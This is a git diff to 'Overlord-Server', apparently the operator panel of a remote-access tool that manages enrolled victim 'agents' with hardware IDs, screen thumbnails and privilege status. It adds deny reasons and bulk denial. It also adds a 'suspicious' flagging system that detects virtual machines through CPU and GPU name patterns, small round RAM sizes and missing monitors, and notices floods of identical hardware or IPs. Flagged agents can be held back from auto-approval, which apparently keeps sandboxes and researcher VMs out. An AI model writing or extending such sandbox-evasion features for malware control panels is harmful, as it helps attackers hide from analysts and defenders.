diff --git a/Overlord-Server/public/assets/purgatory-ui.js b/Overlord-Server/public/assets/purgatory-ui.js
index c872b3e..ee46e79 100644
--- a/Overlord-Server/public/assets/purgatory-ui.js
+++ b/Overlord-Server/public/assets/purgatory-ui.js
@@ -31,12 +31,32 @@ const autoAcceptModalConfirm = document.getElementById("auto-accept-modal-confir
const autoAcceptModalCancel = document.getElementById("auto-accept-modal-cancel");
const autoAcceptModalBackdrop = document.getElementById("auto-accept-modal-backdrop");
const approveAllBtn = document.getElementById("approve-all-btn");
+const denyAllBtn = document.getElementById("deny-all-btn");
+const unlessSuspiciousToggle = document.getElementById("unless-suspicious-toggle");
+const unlessSuspiciousRow = document.getElementById("unless-suspicious-row");
+const statSuspicious = document.getElementById("stat-suspicious");
+const denyReasonModal = document.getElementById("deny-reason-modal");
+const denyReasonInput = document.getElementById("deny-reason-input");
+const denyReasonModalConfirm = document.getElementById("deny-reason-modal-confirm");
+const denyReasonModalCancel = document.getElementById("deny-reason-modal-cancel");
+const denyReasonModalBackdrop = document.getElementById("deny-reason-modal-backdrop");
let currentFilter = "pending";
let searchQuery = "";
let clients = [];
const expandedCells = new Set(); // tracks "clientId:field" keys
+const SUSPICIOUS_FLAG_LABELS = {
+ hwid_flood: "HWID Flood (40+ same hardware ID)",
+ hw_flood: "Hardware Flood (40+ identical specs)",
+ no_hostname: "No Hostname",
+ no_user: "No Username",
+ ip_flood: "IP Flood (40+ from same IP recently)",
+ vm_hardware: "VM Detected (CPU/GPU indicates virtual machine)",
+ vm_ram: "VM Likely (≤4 GB round RAM)",
+ no_monitors: "No Monitors (headless/VM)",
+};
+
// ── API helpers ────────────────────────────────────────────────────
async function api(path, opts = {}) {
const res = await fetch(path, { credentials: "include", ...opts });
@@ -48,6 +68,8 @@ async function loadSettings() {
try {
const s = await api("/api/enrollment/settings");
autoAcceptToggle.checked = !s.requireApproval;
+ unlessSuspiciousToggle.checked = !!s.autoApproveUnlessSuspicious;
+ unlessSuspiciousRow.classList.toggle("hidden", !autoAcceptToggle.checked);
} catch {}
}
@@ -82,8 +104,9 @@ async function loadClients() {
emptyEl.classList.add("hidden");
body.querySelectorAll("tr:not(#enrollment-loading)").forEach((r) => r.remove());
+ const fetchFilter = currentFilter === "suspicious" ? "all" : currentFilter;
try {
- const data = await api(`/api/clients?page=1&pageSize=500&enrollmentFilter=${currentFilter}`);
+ const data = await api(`/api/clients?page=1&pageSize=1000&enrollmentFilter=${fetchFilter}`);
clients = data.items || [];
} catch {
clients = [];
@@ -92,19 +115,31 @@ async function loadClients() {
// Sort by newest first (highest lastSeen = most recent)
clients.sort((a, b) => (b.lastSeen || 0) - (a.lastSeen || 0));
+ // Update suspicious stat from full loaded set
+ const suspiciousCount = clients.filter((c) => (c.suspiciousFlags || []).length > 0).length;
+ if (statSuspicious) statSuspicious.textContent = suspiciousCount;
+
+ // Apply suspicious tab filter
+ let base = clients;
+ if (currentFilter === "suspicious") {
+ base = clients.filter((c) => (c.suspiciousFlags || []).length > 0);
+ }
+
// Apply search filter
const q = searchQuery.toLowerCase().trim();
const filtered = q
- ? clients.filter((c) => {
+ ? base.filter((c) => {
const fields = [c.host, c.user, c.ip, c.id, c.os, c.country, c.keyFingerprint, c.cpu, c.gpu, c.ram];
return fields.some((f) => f && String(f).toLowerCase().includes(q));
})
- : clients;
+ : base;
loadingRow.classList.add("hidden");
- const hasPending = currentFilter === "pending" && filtered.some((c) => (c.enrollmentStatus || "pending") === "pending");
- approveAllBtn.classList.toggle("hidden", !hasPending);
+ const showBulkActions = (currentFilter === "pending" || currentFilter === "suspicious") &&
+ filtered.some((c) => (c.enrollmentStatus || "pending") === "pending");
+ approveAllBtn.classList.toggle("hidden", !showBulkActions);
+ denyAllBtn.classList.toggle("hidden", !showBulkActions);
if (filtered.length === 0) {
emptyEl.classList.remove("hidden");
@@ -116,13 +151,13 @@ async function loadClients() {
tr.className = "hover:bg-slate-800/40 transition-colors";
tr.dataset.id = c.id;
- const statusPill = statusBadge(c.enrollmentStatus || "pending");
+ const statusPill = statusBadgeWithReason(c.enrollmentStatus || "pending", c.denyReason);
const fp = c.keyFingerprint ? c.keyFingerprint.substring(0, 16) + "..." : "-";
const lastSeen = c.lastSeen ? timeAgo(c.lastSeen) : "-";
tr.innerHTML = `
|
- ${esc(c.host || c.id)} |
+ ${esc(c.host || c.id)}${suspiciousBadges(c.suspiciousFlags)} |
${esc(c.user || "-")} |
${esc(c.os || "-")} |
${expandableCell(c.id, "cpu", c.cpu)} |
@@ -152,6 +187,24 @@ function statusBadge(status) {
return map[status] || map.pending;
}
+function statusBadgeWithReason(status, denyReason) {
+ const pill = statusBadge(status);
+ if (status === "denied" && denyReason) {
+ return `${pill}
${esc(denyReason)}
`;
+ }
+ return pill;
+}
+
+function suspiciousBadges(flags) {
+ if (!flags || flags.length === 0) return "";
+ return flags.map((f) => {
+ const label = SUSPICIOUS_FLAG_LABELS[f] || f;
+ const isFlood = f.endsWith("_flood");
+ const color = isFlood ? "bg-red-500/20 text-red-300 border-red-500/40" : "bg-amber-500/20 text-amber-300 border-amber-500/40";
+ return `${esc(label.split(" ")[0])}`;
+ }).join(" ");
+}
+
function actionButtons(c) {
const status = c.enrollmentStatus || "pending";
let html = "";
@@ -217,6 +270,20 @@ async function setStatus(clientId, action) {
await Promise.all([loadClients(), loadStats()]);
}
+async function denyClient(clientId, reason) {
+ try {
+ await api(`/api/enrollment/${encodeURIComponent(clientId)}/deny`, {
+ method: "POST",
+ headers: { "Content-Type": "application/json" },
+ body: JSON.stringify({ reason: reason || undefined }),
+ });
+ if (window.showToast) window.showToast("Client denied", "success");
+ } catch (e) {
+ if (window.showToast) window.showToast(`Failed: ${e.message}`, "error");
+ }
+ await Promise.all([loadClients(), loadStats()]);
+}
+
async function bulkAction(action) {
const ids = getSelectedIds();
if (ids.length === 0) return;
@@ -260,6 +327,7 @@ document.querySelectorAll(".enrollment-tab").forEach((tab) => {
denied: "bg-red-500/20 text-red-300 border-red-500/40",
approved: "bg-emerald-500/20 text-emerald-300 border-emerald-500/40",
"banned-ips": "bg-rose-500/20 text-rose-300 border-rose-500/40",
+ suspicious: "bg-orange-500/20 text-orange-300 border-orange-500/40",
};
tab.className = `enrollment-tab px-4 py-2 rounded-lg text-sm font-medium ${colorMap[currentFilter] || ""} border`;
@@ -268,6 +336,7 @@ document.querySelectorAll(".enrollment-tab").forEach((tab) => {
emptyEl.classList.add("hidden");
bannedIpsSection.classList.remove("hidden");
approveAllBtn.classList.add("hidden");
+ denyAllBtn.classList.add("hidden");
loadBannedIps();
} else {
bannedIpsSection.classList.add("hidden");
@@ -298,7 +367,7 @@ body.addEventListener("click", (e) => {
const id = btn.dataset.id;
if (!id) return;
if (btn.classList.contains("act-approve")) setStatus(id, "approve");
- else if (btn.classList.contains("act-deny")) setStatus(id, "deny");
+ else if (btn.classList.contains("act-deny")) showDenyReasonModal(id);
else if (btn.classList.contains("act-reset")) setStatus(id, "reset");
else if (btn.classList.contains("act-ban-ip")) banClientIp(id);
});
@@ -476,6 +545,7 @@ autoAcceptToggle.addEventListener("change", async () => {
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ requireApproval: true }),
});
+ unlessSuspiciousRow.classList.add("hidden");
if (window.showToast) window.showToast("Approval required — purgatory is active", "success");
} catch (e) {
autoAcceptToggle.checked = true; // revert on error
@@ -500,31 +570,102 @@ autoAcceptModalConfirm.addEventListener("click", async () => {
body: JSON.stringify({ requireApproval: false }),
});
autoAcceptToggle.checked = true;
+ unlessSuspiciousRow.classList.remove("hidden");
if (window.showToast) window.showToast("Always Allow enabled — agents auto-approved on connect", "success");
} catch (e) {
if (window.showToast) window.showToast(`Failed: ${e.message}`, "error");
}
});
-// ── Approve All Pending ────────────────────────────────────────────
+// ── Unless Suspicious sub-toggle ──────────────────────────────────
+unlessSuspiciousToggle.addEventListener("change", async () => {
+ try {
+ await api("/api/enrollment/settings", {
+ method: "POST",
+ headers: { "Content-Type": "application/json" },
+ body: JSON.stringify({ autoApproveUnlessSuspicious: unlessSuspiciousToggle.checked }),
+ });
+ const msg = unlessSuspiciousToggle.checked
+ ? "Suspicious agents will be held for review"
+ : "All agents auto-approved regardless of flags";
+ if (window.showToast) window.showToast(msg, "success");
+ } catch (e) {
+ unlessSuspiciousToggle.checked = !unlessSuspiciousToggle.checked; // revert
+ if (window.showToast) window.showToast(`Failed: ${e.message}`, "error");
+ }
+});
+
+// ── Approve All / Deny All ────────────────────────────────────────
+function getActionablePendingIds() {
+ const base = currentFilter === "suspicious"
+ ? clients.filter((c) => (c.suspiciousFlags || []).length > 0)
+ : clients;
+ return base.filter((c) => (c.enrollmentStatus || "pending") === "pending").map((c) => c.id);
+}
+
approveAllBtn.addEventListener("click", async () => {
- const pendingIds = clients
- .filter((c) => (c.enrollmentStatus || "pending") === "pending")
- .map((c) => c.id);
- if (pendingIds.length === 0) return;
+ const ids = getActionablePendingIds();
+ if (ids.length === 0) return;
try {
await api("/api/enrollment/bulk", {
method: "POST",
headers: { "Content-Type": "application/json" },
- body: JSON.stringify({ ids: pendingIds, action: "approve" }),
+ body: JSON.stringify({ ids, action: "approve" }),
});
- if (window.showToast) window.showToast(`Approved ${pendingIds.length} client${pendingIds.length !== 1 ? "s" : ""}`, "success");
+ if (window.showToast) window.showToast(`Approved ${ids.length} client${ids.length !== 1 ? "s" : ""}`, "success");
} catch (e) {
if (window.showToast) window.showToast(`Failed: ${e.message}`, "error");
}
await Promise.all([loadClients(), loadStats()]);
});
+denyAllBtn.addEventListener("click", async () => {
+ const ids = getActionablePendingIds();
+ if (ids.length === 0) return;
+ try {
+ await api("/api/enrollment/bulk", {
+ method: "POST",
+ headers: { "Content-Type": "application/json" },
+ body: JSON.stringify({ ids, action: "deny" }),
+ });
+ if (window.showToast) window.showToast(`Denied ${ids.length} client${ids.length !== 1 ? "s" : ""}`, "success");
+ } catch (e) {
+ if (window.showToast) window.showToast(`Failed: ${e.message}`, "error");
+ }
+ await Promise.all([loadClients(), loadStats()]);
+});
+
+// ── Deny Reason Modal ──────────────────────────────────────────────
+let _denyTargetId = null;
+
+function showDenyReasonModal(clientId) {
+ _denyTargetId = clientId;
+ denyReasonInput.value = "";
+ denyReasonModal.classList.remove("hidden");
+ setTimeout(() => denyReasonInput.focus(), 50);
+}
+
+function closeDenyReasonModal() {
+ denyReasonModal.classList.add("hidden");
+ _denyTargetId = null;
+}
+
+denyReasonModalCancel.addEventListener("click", closeDenyReasonModal);
+denyReasonModalBackdrop.addEventListener("click", closeDenyReasonModal);
+
+denyReasonInput.addEventListener("keydown", (e) => {
+ if (e.key === "Enter") denyReasonModalConfirm.click();
+ if (e.key === "Escape") closeDenyReasonModal();
+});
+
+denyReasonModalConfirm.addEventListener("click", async () => {
+ const id = _denyTargetId;
+ const reason = denyReasonInput.value.trim() || undefined;
+ closeDenyReasonModal();
+ if (!id) return;
+ await denyClient(id, reason);
+});
+
// ── Init ───────────────────────────────────────────────────────────
loadSettings();
loadStats();
diff --git a/Overlord-Server/public/purgatory.html b/Overlord-Server/public/purgatory.html
index 0b2cfd1..eec4570 100644
--- a/Overlord-Server/public/purgatory.html
+++ b/Overlord-Server/public/purgatory.html
@@ -36,16 +36,28 @@
0 pending
0 approved
0 denied
+ 0 suspicious
0 banned IPs
-
-
-
Always Allow
-
+
+
+
+
Always Allow
+
+
+
+
+
Unless suspicious
+
+
@@ -68,10 +80,18 @@
class="enrollment-tab px-4 py-2 rounded-lg text-sm font-medium bg-slate-800 text-slate-400 border border-slate-700 hover:bg-slate-700">
Banned IPs
+
+
@@ -212,6 +232,37 @@
+
+
+
+
+
+
+
+
+
+
Deny Client
+
Optionally record a reason for audit purposes.
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/Overlord-Server/src/config.ts b/Overlord-Server/src/config.ts
index 119f15b..4b7d3b9 100644
--- a/Overlord-Server/src/config.ts
+++ b/Overlord-Server/src/config.ts
@@ -58,6 +58,7 @@ export interface Config {
};
enrollment: {
requireApproval: boolean;
+ autoApproveUnlessSuspicious: boolean;
};
appearance: {
customCSS: string;
@@ -142,6 +143,7 @@ const DEFAULT_CONFIG: Config = {
},
enrollment: {
requireApproval: true,
+ autoApproveUnlessSuspicious: false,
},
appearance: {
customCSS: "",
@@ -510,6 +512,8 @@ export function loadConfig(): Config {
process.env.OVERLORD_ENROLLMENT_REQUIRE_APPROVAL !== undefined
? String(process.env.OVERLORD_ENROLLMENT_REQUIRE_APPROVAL).toLowerCase() === "true"
: (fileConfig.enrollment?.requireApproval ?? DEFAULT_CONFIG.enrollment.requireApproval),
+ autoApproveUnlessSuspicious:
+ fileConfig.enrollment?.autoApproveUnlessSuspicious ?? DEFAULT_CONFIG.enrollment.autoApproveUnlessSuspicious,
},
appearance: {
customCSS: fileConfig.appearance?.customCSS || DEFAULT_CONFIG.appearance.customCSS,
@@ -693,6 +697,7 @@ export async function updateEnrollmentConfig(
...current.enrollment,
...updates,
requireApproval: updates.requireApproval !== undefined ? Boolean(updates.requireApproval) : current.enrollment.requireApproval,
+ autoApproveUnlessSuspicious: updates.autoApproveUnlessSuspicious !== undefined ? Boolean(updates.autoApproveUnlessSuspicious) : current.enrollment.autoApproveUnlessSuspicious,
};
configCache = {
diff --git a/Overlord-Server/src/db.ts b/Overlord-Server/src/db.ts
index 7197155..751696c 100644
--- a/Overlord-Server/src/db.ts
+++ b/Overlord-Server/src/db.ts
@@ -133,6 +133,9 @@ try {
try {
db.run(`ALTER TABLE clients ADD COLUMN notifications_muted INTEGER NOT NULL DEFAULT 0`);
} catch {}
+try {
+ db.run(`ALTER TABLE clients ADD COLUMN deny_reason TEXT`);
+} catch {}
db.run(`
CREATE TABLE IF NOT EXISTS client_groups (
@@ -1011,6 +1014,155 @@ export function markAllClientsOffline() {
console.log("[db] marked all clients as offline");
}
+export const SUSPICIOUS_FLOOD_THRESHOLD = Math.max(2, Number(process.env.OVERLORD_SUSPICIOUS_FLOOD_THRESHOLD || 40));
+const SUSPICIOUS_IP_FLOOD_WINDOW_MS = Math.max(60_000, Number(process.env.OVERLORD_SUSPICIOUS_IP_WINDOW_MS || 300_000));
+
+export function getFloodedHwids(threshold = SUSPICIOUS_FLOOD_THRESHOLD): Set
{
+ const rows = db
+ .query<{ hwid: string }>(
+ `SELECT hwid FROM clients WHERE hwid IS NOT NULL AND hwid != '' GROUP BY hwid HAVING COUNT(*) >= ?`,
+ )
+ .all(threshold);
+ return new Set(rows.map((r) => r.hwid));
+}
+
+export function getFloodedHardware(threshold = SUSPICIOUS_FLOOD_THRESHOLD): Set {
+ const rows = db
+ .query<{ cpu: string; gpu: string; ram: string; os: string }>(
+ `SELECT cpu, gpu, ram, os FROM clients
+ WHERE cpu IS NOT NULL AND cpu != '' AND os IS NOT NULL AND os != ''
+ GROUP BY cpu, gpu, ram, os HAVING COUNT(*) >= ?`,
+ )
+ .all(threshold);
+ const keys = new Set();
+ for (const r of rows) keys.add(`${r.cpu}|${r.gpu ?? ""}|${r.ram ?? ""}|${r.os}`);
+ return keys;
+}
+
+export function getFloodedIps(threshold = SUSPICIOUS_FLOOD_THRESHOLD): Set {
+ const since = Date.now() - SUSPICIOUS_IP_FLOOD_WINDOW_MS;
+ const rows = db
+ .query<{ ip: string }>(
+ `SELECT ip FROM clients WHERE ip IS NOT NULL AND ip != '' AND last_seen > ? GROUP BY ip HAVING COUNT(*) >= ?`,
+ )
+ .all(since, threshold);
+ return new Set(rows.map((r) => r.ip));
+}
+
+const FLOOD_CACHE_TTL_MS = 30_000;
+let _floodCacheTs = 0;
+let _cachedFloodedHwids: Set | null = null;
+let _cachedFloodedHardware: Set | null = null;
+let _cachedFloodedIps: Set | null = null;
+
+function getFloodSetsWithCache(): { floodedHwids: Set; floodedHardware: Set; floodedIps: Set } {
+ const now = Date.now();
+ if (now - _floodCacheTs > FLOOD_CACHE_TTL_MS) {
+ _cachedFloodedHwids = getFloodedHwids();
+ _cachedFloodedHardware = getFloodedHardware();
+ _cachedFloodedIps = getFloodedIps();
+ _floodCacheTs = now;
+ }
+ return { floodedHwids: _cachedFloodedHwids!, floodedHardware: _cachedFloodedHardware!, floodedIps: _cachedFloodedIps! };
+}
+
+function parseRamGb(ram: string | null | undefined): number | null {
+ if (!ram) return null;
+ const m = ram.match(/(\d+(?:\.\d+)?)\s*(tb|gb|mb|kb)/i);
+ if (!m) return null;
+ const val = parseFloat(m[1]);
+ const unit = m[2].toLowerCase();
+ if (unit === "tb") return val * 1024;
+ if (unit === "gb") return val;
+ if (unit === "mb") return val / 1024;
+ if (unit === "kb") return val / (1024 * 1024);
+ return null;
+}
+
+export type SuspiciousFlags = string[];
+
+const VM_CPU_PATTERNS = [
+ /\bqemu\b/i,
+ /\bkvm\b/i,
+ /\bvmware\b/i,
+ /\bvirtualbox\b/i,
+ /virtual\s+cpu/i,
+ /\bhyper-v\b/i,
+ /\bbochs\b/i,
+ /\bxen\b/i,
+];
+
+const VM_GPU_PATTERNS = [
+ /vmware/i,
+ /virtualbox/i,
+ /\bqemu\b/i,
+ /microsoft\s+basic\s+(render|display)/i,
+ /cirrus\s+logic/i,
+ /standard\s+vga/i,
+ /\bllvmpipe\b/i,
+ /\bsoftpipe\b/i,
+ /\bqxl\b/i,
+ /\bvirtio\b/i,
+ /hyper-v\s+video/i,
+ /terminal\s+server/i,
+ /remote\s+desktop/i,
+ /parsec\s+display/i,
+];
+
+export function computeClientSuspiciousFlags(
+ client: {
+ id?: string;
+ hwid?: string | null;
+ cpu?: string | null;
+ gpu?: string | null;
+ ram?: string | null;
+ os?: string | null;
+ host?: string | null;
+ user?: string | null;
+ ip?: string | null;
+ monitors?: number | null;
+ },
+ precomputed?: {
+ floodedHwids?: Set;
+ floodedHardware?: Set;
+ floodedIps?: Set;
+ },
+): SuspiciousFlags {
+ const flags: string[] = [];
+ const allProvided = precomputed?.floodedHwids !== undefined && precomputed?.floodedHardware !== undefined && precomputed?.floodedIps !== undefined;
+ const sets = allProvided ? (precomputed as Required) : getFloodSetsWithCache();
+ const fHwids = sets.floodedHwids;
+ const fHardware = sets.floodedHardware;
+ const fIps = sets.floodedIps;
+
+ if (client.hwid && fHwids.has(client.hwid)) flags.push("hwid_flood");
+
+ if (client.cpu && client.os) {
+ const hwKey = `${client.cpu}|${client.gpu ?? ""}|${client.ram ?? ""}|${client.os}`;
+ if (fHardware.has(hwKey)) flags.push("hw_flood");
+ }
+
+ if (!client.host || !client.host.trim()) flags.push("no_hostname");
+ if (!client.user || !client.user.trim()) flags.push("no_user");
+
+ if (client.ip && fIps.has(client.ip)) flags.push("ip_flood");
+
+ const cpuIsVm = !!client.cpu && VM_CPU_PATTERNS.some((p) => p.test(client.cpu!));
+ const gpuIsVm = !!client.gpu && VM_GPU_PATTERNS.some((p) => p.test(client.gpu!));
+ if (cpuIsVm || gpuIsVm) flags.push("vm_hardware");
+
+ const ramGb = parseRamGb(client.ram);
+ if (ramGb !== null && [0.25, 0.5, 1, 2, 4].some((s) => Math.abs(ramGb - s) < 0.05)) {
+ flags.push("vm_ram");
+ }
+
+ if (typeof client.monitors === "number" && client.monitors === 0) {
+ flags.push("no_monitors");
+ }
+
+ return flags;
+}
+
export function listClients(filters: ListFilters): ListResult {
const {
page,
@@ -1141,7 +1293,7 @@ export function listClients(filters: ListFilters): ListResult {
const rows = db
.query(
- `SELECT c.id, c.hwid, c.role, c.ip, c.host, c.os, c.arch, c.version, c.user, c.nickname, c.custom_tag as customTag, c.custom_tag_note as customTagNote, c.monitors, c.country, c.last_seen as lastSeen, c.online, c.ping_ms as pingMs, c.bookmarked, c.build_tag as buildTag, c.built_by_user_id as builtByUserId, c.enrollment_status as enrollmentStatus, c.public_key as publicKey, c.key_fingerprint as keyFingerprint, c.cpu, c.gpu, c.ram, c.is_admin as isAdmin, c.elevation, c.permissions, c.disconnect_reason as disconnectReason, c.disconnect_detail as disconnectDetail, c.group_id as groupId, g.name as groupName, g.color as groupColor, c.notifications_muted as notificationsMuted
+ `SELECT c.id, c.hwid, c.role, c.ip, c.host, c.os, c.arch, c.version, c.user, c.nickname, c.custom_tag as customTag, c.custom_tag_note as customTagNote, c.monitors, c.country, c.last_seen as lastSeen, c.online, c.ping_ms as pingMs, c.bookmarked, c.build_tag as buildTag, c.built_by_user_id as builtByUserId, c.enrollment_status as enrollmentStatus, c.public_key as publicKey, c.key_fingerprint as keyFingerprint, c.cpu, c.gpu, c.ram, c.is_admin as isAdmin, c.elevation, c.permissions, c.disconnect_reason as disconnectReason, c.disconnect_detail as disconnectDetail, c.group_id as groupId, g.name as groupName, g.color as groupColor, c.notifications_muted as notificationsMuted, c.deny_reason as denyReason
FROM clients c
LEFT JOIN client_groups g ON g.id = c.group_id
${whereSql}
@@ -1150,6 +1302,8 @@ export function listClients(filters: ListFilters): ListResult {
)
.all(...params, pageSize, offset);
+ const { floodedHwids, floodedHardware, floodedIps } = getFloodSetsWithCache();
+
const items = rows.map((c: any) => ({
id: c.id,
hwid: c.hwid,
@@ -1186,8 +1340,10 @@ export function listClients(filters: ListFilters): ListResult {
groupName: c.groupName || null,
groupColor: c.groupColor || null,
notificationsMuted: c.notificationsMuted === 1,
+ denyReason: c.denyReason || null,
hasThumbnail: hasThumbnail(c.id),
thumbnailVersion: getThumbnailVersion(c.id),
+ suspiciousFlags: computeClientSuspiciousFlags(c, { floodedHwids, floodedHardware, floodedIps }),
}));
return { page, pageSize, total: totalRow.c, online: onlineRow.c, items };
@@ -1974,12 +2130,14 @@ export function setClientEnrollmentStatus(
id: string,
status: "approved" | "denied" | "pending",
approvedBy?: string,
+ denyReason?: string,
): boolean {
const result = db.run(
- `UPDATE clients SET enrollment_status=?, enrolled_at=?, enrolled_by=? WHERE id=?`,
+ `UPDATE clients SET enrollment_status=?, enrolled_at=?, enrolled_by=?, deny_reason=? WHERE id=?`,
status,
status === "approved" ? Date.now() : null,
status === "approved" ? (approvedBy ?? null) : null,
+ status === "denied" ? (denyReason ?? null) : null,
id,
);
return ((result as any)?.changes || 0) > 0;
diff --git a/Overlord-Server/src/server/routes/enrollment-routes.ts b/Overlord-Server/src/server/routes/enrollment-routes.ts
index ea30fc2..0ef8562 100644
--- a/Overlord-Server/src/server/routes/enrollment-routes.ts
+++ b/Overlord-Server/src/server/routes/enrollment-routes.ts
@@ -111,6 +111,7 @@ export async function handleEnrollmentRoutes(
const config = getConfig();
return Response.json({
requireApproval: config.enrollment?.requireApproval ?? true,
+ autoApproveUnlessSuspicious: config.enrollment?.autoApproveUnlessSuspicious ?? false,
});
}
@@ -123,11 +124,15 @@ export async function handleEnrollmentRoutes(
let body: any;
try { body = await req.json(); } catch { return Response.json({ error: "Invalid JSON" }, { status: 400 }); }
- if (typeof body?.requireApproval !== "boolean") {
- return Response.json({ error: "requireApproval must be a boolean" }, { status: 400 });
+ const updates: { requireApproval?: boolean; autoApproveUnlessSuspicious?: boolean } = {};
+ if (typeof body?.requireApproval === "boolean") updates.requireApproval = body.requireApproval;
+ if (typeof body?.autoApproveUnlessSuspicious === "boolean") updates.autoApproveUnlessSuspicious = body.autoApproveUnlessSuspicious;
+
+ if (Object.keys(updates).length === 0) {
+ return Response.json({ error: "No valid boolean fields provided" }, { status: 400 });
}
- const updated = await updateEnrollmentConfig({ requireApproval: body.requireApproval });
+ const updated = await updateEnrollmentConfig(updates);
logAudit({
timestamp: Date.now(),
@@ -135,10 +140,10 @@ export async function handleEnrollmentRoutes(
ip: "server",
action: AuditAction.ENROLLMENT_SETTINGS,
success: true,
- details: JSON.stringify({ requireApproval: body.requireApproval }),
+ details: JSON.stringify(updates),
});
- return Response.json({ ok: true, requireApproval: updated.requireApproval });
+ return Response.json({ ok: true, requireApproval: updated.requireApproval, autoApproveUnlessSuspicious: updated.autoApproveUnlessSuspicious });
}
// POST /api/enrollment/:id/approve
@@ -200,7 +205,11 @@ export async function handleEnrollmentRoutes(
return new Response("Forbidden: Client access denied", { status: 403 });
}
- setClientEnrollmentStatus(clientId, "denied");
+ let denyBody: any = {};
+ try { denyBody = await req.json(); } catch {}
+ const denyReason = typeof denyBody?.reason === "string" ? denyBody.reason.slice(0, 200).trim() || undefined : undefined;
+
+ setClientEnrollmentStatus(clientId, "denied", undefined, denyReason);
logAudit({
timestamp: Date.now(),
@@ -296,6 +305,7 @@ export async function handleEnrollmentRoutes(
return Response.json({ ok: true, action, updated: banned });
}
+ const bulkDenyReason = typeof body?.reason === "string" ? body.reason.slice(0, 200).trim() || undefined : undefined;
const status = action === "approve" ? "approved" : action === "deny" ? "denied" : "pending";
let updated = 0;
for (const id of ids) {
@@ -304,6 +314,7 @@ export async function handleEnrollmentRoutes(
id,
status as "approved" | "denied" | "pending",
action === "approve" ? user.username : undefined,
+ action === "deny" ? bulkDenyReason : undefined,
);
if (ok) {
updated++;
diff --git a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts
index a201358..c5d6f7d 100644
--- a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts
+++ b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts
@@ -9,7 +9,8 @@ async function getGeoip() {
}
import { logAudit, AuditAction } from "../../auditLog";
import * as clientManager from "../../clientManager";
-import { clientExists, setOnlineState, upsertClientRow, getClientEnrollmentStatus, setClientEnrollmentStatus, lookupClientByPublicKey, getClientPublicKeyById, getBuildByTag } from "../../db";
+import { clientExists, setOnlineState, upsertClientRow, getClientEnrollmentStatus, setClientEnrollmentStatus, lookupClientByPublicKey, getClientPublicKeyById, getBuildByTag, computeClientSuspiciousFlags } from "../../db";
+import { getConfig } from "../../config";
import { logger } from "../../logger";
import { metrics } from "../../metrics";
import { decodeMessage, encodeMessage, type WireMessage, type Hello, type Ping } from "../../protocol";
@@ -419,6 +420,33 @@ export async function handleWebSocketMessage(
}
if (enrollmentStatus === "pending") {
+ const enrollConfig = getConfig().enrollment;
+
+ if (!enrollConfig.requireApproval) {
+ let blocked = false;
+ if (enrollConfig.autoApproveUnlessSuspicious) {
+ const flags = computeClientSuspiciousFlags({
+ hwid: typeof (payload as any).hwid === "string" ? (payload as any).hwid : null,
+ cpu: typeof (payload as any).cpu === "string" ? (payload as any).cpu : null,
+ gpu: typeof (payload as any).gpu === "string" ? (payload as any).gpu : null,
+ ram: typeof (payload as any).ram === "string" ? (payload as any).ram : null,
+ os: typeof (payload as any).os === "string" ? (payload as any).os : null,
+ host: typeof (payload as any).host === "string" ? (payload as any).host : null,
+ user: typeof (payload as any).user === "string" ? (payload as any).user : null,
+ ip: ip || null,
+ });
+ if (flags.length > 0) {
+ blocked = true;
+ logger.info(`[purgatory] auto-approve blocked for ${resolvedId} — suspicious: ${flags.join(", ")}`);
+ }
+ }
+ if (!blocked) {
+ enrollmentStatus = "approved";
+ logger.info(`[purgatory] auto-approved ${resolvedId} (requireApproval=false)`);
+ }
+ }
+
+ if (enrollmentStatus !== "approved") {
const geoip = await getGeoip();
const geo = ip ? geoip.lookup(ip) : undefined;
const countryRaw = geo?.country || (payload as any).country || "ZZ";
@@ -476,6 +504,7 @@ export async function handleWebSocketMessage(
}
setTimeout(() => { try { ws.close(4001, "pending"); } catch {} }, 100);
return;
+ }
}
const existingClient = clientManager.getClient(resolvedId);
diff --git a/Overlord-Server/src/types.ts b/Overlord-Server/src/types.ts
index 4d6be92..95c2f92 100644
--- a/Overlord-Server/src/types.ts
+++ b/Overlord-Server/src/types.ts
@@ -73,6 +73,8 @@ export type ListItem = Omit & {
online: boolean;
hasThumbnail: boolean;
thumbnailVersion: number;
+ suspiciousFlags: string[];
+ denyReason?: string | null;
};
export type ListResult = {